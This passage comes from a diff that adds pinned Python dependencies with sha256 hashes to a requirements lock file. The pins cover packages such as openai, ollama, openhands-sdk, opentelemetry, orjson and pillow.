--hash=sha256:6b4c3d199f953acd5b446bf7c0de1fe25d94e09e79086f8dc2f48a11a129cdf1 \ + --hash=sha256:6bdce131e14b04fd34a809b6380dbfd826065c3e2fe8a50dbae659fa0c390546 \ + --hash=sha256:716133f7d1d946a4e1b91b1756b23c088881e70ff180c24e864c26192ad7534a \ + --hash=sha256:749a72584761531d2b9467cfbdfd29487ee21124c304c4b6cb760d8777b27f9c \ + --hash=sha256:7516c579652f6a6be0e266aec0acd0db80829ca305c3d771ed898538804c2036 \ + --hash=sha256:79dcf9e477bc65414ebfea98ffd013cb39552b5ecd62908752e0e413d6d06e38 \ + --hash=sha256:7a0222514e8e4c514660e182d5156a415c13ef0aabbd71682fc714e327b95e99 \ + --hash=sha256:7b022717c748dd1992a83e219587aabe45980d88969f01b316e78683e6285f64 \ + --hash=sha256:7bf77f54997a9166a2f5675d1201520586439424c2511723a7312bdb4bcc034e \ + --hash=sha256:7e73299c99939f089dd9b2120a04a516b95cdf8c1cd2b18c53ebf0de80b1f18f \ + --hash=sha256:7ef6b61cad77091056ce0e7ce69814ef72afacb150b7ac6a3e9470def2198159 \ + --hash=sha256:7f5170993a0dd3ab871c74f45c0a21a4e2c37a2f2b01b5f722a2ad9c6650469e \ + --hash=sha256:803d685de7be4303b5a657b76e2f6d1240e7e0a8aa2968ad5811fa2285553a12 \ + --hash=sha256:8891681594162635948a636c9fe0ff21746aeb3dd5463f6e25d9bea3a8a39ca1 \ + --hash=sha256:8a19cdb57cd3df4cd865849d93ee14920fb97224300c88501f16ecfa2604b4e0 \ + --hash=sha256:8a3862568a36d26e650a19bb5cbbba14b71789032aebc0423f8cc5f150730184 \ + --hash=sha256:8b55d5497b51afdfde55925e04a022f1de14d4f4f25cdfd4f5d9b0aa96166851 \ + --hash=sha256:8cfc12a8630a29d601f48d47787bd7eb730e475e83edb5d6c5084317463373eb \ + --hash=sha256:9281bf5b34f59afbc6b1e477a372e9526b66ca446f4bf62592839c195a718b32 \ + --hash=sha256:92abb658ef2d7ef22ac9f8bb88e8b6c3e571671534e029359b6d9e845923eb1b \ + --hash=sha256:94218fcec4d72bc61df51c198d098ce2b378e0ccbac41ddbed5ef44092913288 \ + --hash=sha256:95b5ffa4349df2887518bb839409bcf22caa72d82beec453216802f475b23c81 \ + --hash=sha256:9600082733859f00d79dee64effc7aef1beb26adb297416a4ad2116fd61374bd \ + --hash=sha256:960c60b5849b9b4f9dcc9bea6e3626143c252c74113df2c1540aebce70209b45 \ + --hash=sha256:9b2fd74c52accced7e75de26023b7dccee62511a600e62311b918ec5c168fc2a \ + --hash=sha256:9c0359b1ec12b1d6849c59f9d319610b7f20ef990a6d454ab151aa0e3b9f78ca \ + --hash=sha256:9cf41880c991716f3c7cec48e2f19ae4045fc9db5fc9cff27347ada24d710bb5 \ + --hash=sha256:9d14baca2ee12c1a64740d4531356ba50b82543017f3ad6de0deb943c5979abb \ + --hash=sha256:9f474ad5acda359c8758c8accc22032c6abe6dc87a8be2440d097785e27a9349 \ + --hash=sha256:9fb0211dfc3b51efea2f349ec92c114d7754dd62c01f81c3e32b765b70c45c9b \ + --hash=sha256:9fe04da3f79387f450fd0061d4dd2e45a72749d31bf634aecc9e27f24fdc4b3f \ + --hash=sha256:9ff96e8815eecacc6645da76c413eb3b3d34cfca256c70b16b286a687d013c32 \ + --hash=sha256:a027ec240fe73a8d6281872690b988eed307cd7d91b23998ff35ff577ca688b5 \ + --hash=sha256:a048ce45dcdaaf1defb76b2e684f997fb5abf74437b6cb7b22ddad934a964e34 \ + --hash=sha256:a265acbb7bb33a3a2d626afbe756371dce0279e7b17f4f4eda406459c2b5ff1c \ + --hash=sha256:a35c5fc61d4f51eb045061e7967cfe3123d622cd500e8868e7c0c592a09fedc4 \ + --hash=sha256:a37bd74c3fa9d00be2d7b8eca074dc56bd8077ddd2917a839bd989612671ed17 \ + --hash=sha256:a60a4d75718a5efa473ebd5ab685786ba0c67b8381f781d1be14da49f1a2dc60 \ + --hash=sha256:a6ef16328011d3f468e7ebc326f24c1445f001ca1dec335b2f8e66bed3006394 \ + --hash=sha256:a90af66facec4cebe4181b9e62a68be65e45ac9b52b67de9eec118701856e7ff \ + --hash=sha256:ad9ce259f50abd98a1ca0aa6e490b58c316a0fce0617f609723e40804add2c00 \ + --hash=sha256:afa8a2978ec65d2336305550535c9c4ff50ee527914328c8677b3973ade52b85 \ + --hash=sha256:b15b3afff74f707b9275d5ba6a91ae8f6429c3ffb29bbfd216b0b375a56f13d7 \ + --hash=sha256:b284e319754366c1aee2267a2036248b24eeb17ecd5dc16022095e747f2f4304 \ + --hash=sha256:b2d7f80c4e1fd010b07cb26820aae86b7e73b681ee4889684fb8d2d4537aab13 \ + --hash=sha256:b3bc26a951007b1057a1c543af845f1c7e3e71cc240ed1ace7bf4484aa99196e \ + --hash=sha256:b3e34f3a1b8131ba06f1a73adab24f30934d148afcd5f5de9a73565a4404384e \ + --hash=sha256:b4121773c49a0776461f4a904cdf6264c88e42218aaa8407e803ca8025872792 \ + --hash=sha256:b61189b29081a20c7e4e0b49b44d5d44bb0dc92be3c6d06a11cc043f81bf9329 \ + --hash=sha256:b6234e14f9314731ec45c42fc4554b88133ad53a09092cc48a88e771c125dadb \ + --hash=sha256:b8512bac933afc3e45fb2b18da8e59b78d4f408399a960339598374d4ae3b56b \ + --hash=sha256:ba672b26069957ee369cfa7fc180dde1fc6f176eaf1e6beaf61fbebbd3d9c000 \ + --hash=sha256:bee7c0588aa0076ce77c0ea5d19a68d76ad81fcd9fe8501003b9a24f9d4000f6 \ + --hash=sha256:c04a328260dfd5db8c39538f999f02779012268f54614902d0afc775d44e0a62 \ + --hash=sha256:c1dcc7524066fa918c6a27d61444d4ee7900ec635779058571f70d042d86ed63 \ + --hash=sha256:c6e99d9a65ca282e578dfea819cfa9c0a62b2499d8677392e09feaf305e9e6f5 \ + --hash=sha256:ca43bdfa5d37bd6aee89d85e1d0831fb86e25541be7e9d376ead1b28974f8e5e \ + --hash=sha256:caf53b15b1b7df9fbd0709aa01409000a2b4dd03a5f6f5cc548183c7c8f8b63c \ + --hash=sha256:cc41db090ed742f32bd2d2c721861725e6109681eddf835d0a82bd3a5c382827 \ + --hash=sha256:cd240939f71c64bd658f186330603aac1a9a81bf6273f523fca63673cb7378a8 \ + --hash=sha256:ce8fdc2dca699f8dbf055a61d73eaa10482569ad20ee3c36ef9641f69afa8c91 \ + --hash=sha256:d1bed1b467ef657f2a0ae62844a607909ef1c6889562de5e1d505f74457d0b96 \ + --hash=sha256:d1d964afecdf3a8288789df2f5751dc0a8261138c3768d9af117ed384e538fad \ + --hash=sha256:d4393e3581e84e5645506923816b9cc81f5609a778c7e7534054091acc64d1c6 \ + --hash=sha256:d874eb056410ca05fed180b6642e680373688efafc7f077b2a2f61811e873a40 \ + --hash=sha256:db99677b4457c7a5c5a949353e125ba72d62b35f74e26da141530fbb012218a7 \ + --hash=sha256:dd32a49400a2c3d52088e120ee00c1e3576cbff7e10b98467962c74fdb762ed4 \ + --hash=sha256:df0e3bf7993bdbeca5ac25aa859cf40d39019e015c9c91809ba7093967f7a648 \ + --hash=sha256:e011555abada53f1578d63389610ac8a5400fc70ce71156b0aa30d326f1a5064 \ + --hash=sha256:e2862408c99f84aa571ab462d25236ef9cb12a602ea959ba9c9009a54902fc73 \ + --hash=sha256:e3aa16de190d29a0ea1b48253c57d99a68492c8dd8948638073ab9e74dc9410b \ + --hash=sha256:e93a0617cd16998784bf4414c7e40f17a35d2350e5c6f0bd900d3a8e02bd3762 \ + --hash=sha256:ea3334cabe4d41b7ccd01e4d349828678794edbc2d3ae97fc162a3312095092e \ + --hash=sha256:eb866162ef2f45063acc7a53a88ef6fe8bf121d45c30ea3c9cd87ce7e191a8d4 \ + --hash=sha256:ec81878ddf0e98817def1e77d4f50dae5ef5b0e4fe796fae3bd674304172416e \ + --hash=sha256:efbb54e98446892590dc2458c19c10344ee9a883a79b5cec4bc34d6656e8d546 \ + --hash=sha256:f0e77e3c0008bc9316e662624535b88d360c3a5d3f81e15cf12c139a75250046 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 \ + --hash=sha256:f470f68adc395e0183b92a2f4689264d1ea4b40504a24d9882c27375e6662bb9 \ + --hash=sha256:f844a1bbf1d207dd311a56f383f7eda2d0e134921d45751842d8235e7778965d \ + --hash=sha256:f8a93b1c0ed2d04b97a5e9336fd2d33371b9a6e29ab7dd6503d63407c20ffbaf \ + --hash=sha256:f8e5c0031b90ca9ce555e2e8fd5c3b02a25f14989cbc310701823832c99eb687 \ + --hash=sha256:fb287618b9c7aa3bf8d825f02d9201b2f13078a5ed3b293c8f4d953917d84d5e \ + --hash=sha256:fbafe31d191dfa7c4c51f7a6149c9fb7e914dcf9ffead27dcfd9f1ae382b3885 \ + --hash=sha256:fbd18dc82d7bf274b37aa48d664534330af744e03bccf696d6f4c6042e7d19e7 +oauthlib==3.3.1 \ + --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ + --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 +ollama==0.6.0 \ + --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ + --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f +openai==2.33.0 \ + --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ + --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a +openapi-pydantic==0.5.1 \ + --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ + --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl \ + --hash=sha256:441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl \ + --hash=sha256:b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e +opentelemetry-api==1.39.1 \ + --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ + --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c +opentelemetry-exporter-otlp-proto-common==1.39.1 \ + --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ + --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 \ + --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ + --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 +opentelemetry-exporter-otlp-proto-http==1.39.1 \ + --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ + --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 +opentelemetry-instrumentation==0.60b1 \ + --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ + --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a +opentelemetry-instrumentation-threading==0.60b1 \ + --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ + --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de +opentelemetry-proto==1.39.1 \ + --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ + --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 +opentelemetry-sdk==1.39.1 \ + --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ + --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 +opentelemetry-semantic-conventions==0.60b1 \ + --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ + --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb +opentelemetry-semantic-conventions-ai==0.4.13 \ + --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ + --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 +orjson==3.11.7 \ + --hash=sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11 \ + --hash=sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e \ + --hash=sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f \ + --hash=sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8 \ + --hash=sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e \ + --hash=sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733 \ + --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d \ + --hash=sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650 \ + --hash=sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5 \ + --hash=sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1 \ + --hash=sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8 \ + --hash=sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3 \ + --hash=sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2 \ + --hash=sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6 \ + --hash=sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910 \ + --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d \ + --hash=sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc \ + --hash=sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a \ + --hash=sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222 \ + --hash=sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5 \ + --hash=sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e \ + --hash=sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471 \ + --hash=sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892 \ + --hash=sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c \ + --hash=sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16 \ + --hash=sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3 \ + --hash=sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b \ + --hash=sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504 \ + --hash=sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539 \ + --hash=sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785 \ + --hash=sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1 \ + --hash=sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab \ + --hash=sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576 \ + --hash=sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b \ + --hash=sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141 \ + --hash=sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62 \ + --hash=sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c \ + --hash=sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2 \ + --hash=sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b \ + --hash=sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49 \ + --hash=sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960 \ + --hash=sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705 \ + --hash=sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174 \ + --hash=sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace \ + --hash=sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b \ + --hash=sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1 \ + --hash=sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561 \ + --hash=sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157 \ + --hash=sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de \ + --hash=sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f \ + --hash=sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67 \ + --hash=sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10 \ + --hash=sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5 \ + --hash=sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757 \ + --hash=sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d \ + --hash=sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f \ + --hash=sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf \ + --hash=sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183 \ + --hash=sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74 \ + --hash=sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0 \ + --hash=sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e \ + --hash=sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d \ + --hash=sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa \ + --hash=sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539 \ + --hash=sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993 \ + --hash=sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4 \ + --hash=sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0 \ + --hash=sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad \ + --hash=sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa \ + --hash=sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f \ + --hash=sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1 \ + --hash=sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867 +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +pathable==0.4.4 \ + --hash=sha256:5ae9e94793b6ef5a4cbe0a7ce9dbbefc1eec38df253763fd0aeeacf2762dbbc2 \ + --hash=sha256:6905a3cd17804edfac7875b5f6c9142a218c7caef78693c2dbbbfbac186d88b2 +pfzy==0.3.4 \ + --hash=sha256:5f50d5b2b3207fa72e7ec0ef08372ef652685470974a107d0d4999fc5a903a96 \ + --hash=sha256:717ea765dd10b63618e7298b2d98efd819e0b30cd5905c9707223dceeb94b3f1 +pillow==12.3.0 \ + --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 \ + --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a \ + --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 \ + --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 \ + --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b \ + --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 \ + --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e \ + --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 \ + --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 \ + --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 \ + --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 \ + --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd \ + --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed \ + --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace \ + --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb \ + --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 \ + --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 \ + --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 \ + --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 \ + --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace \ + --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c \ + --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f \ + --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 \ + --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f \ + --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a \ + --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 \ + --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a \ + --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 \ + --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 \ + --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 \ + --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 \ + --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 \ + --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a \ + --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c \ + --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 \ + --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 \ + --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a \ + --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 \ + --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 \ + --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b \ + --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 \ + --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 \ + --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd \ + --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 \ + --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c \ + --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 \ + --hash=sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35 \ + --hash=sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9 \ + --hash=sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f \ + --hash=sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f \ + --hash=sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0 \ + --hash=sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c \ + --hash=sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71 \ + --hash=sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3 \ + 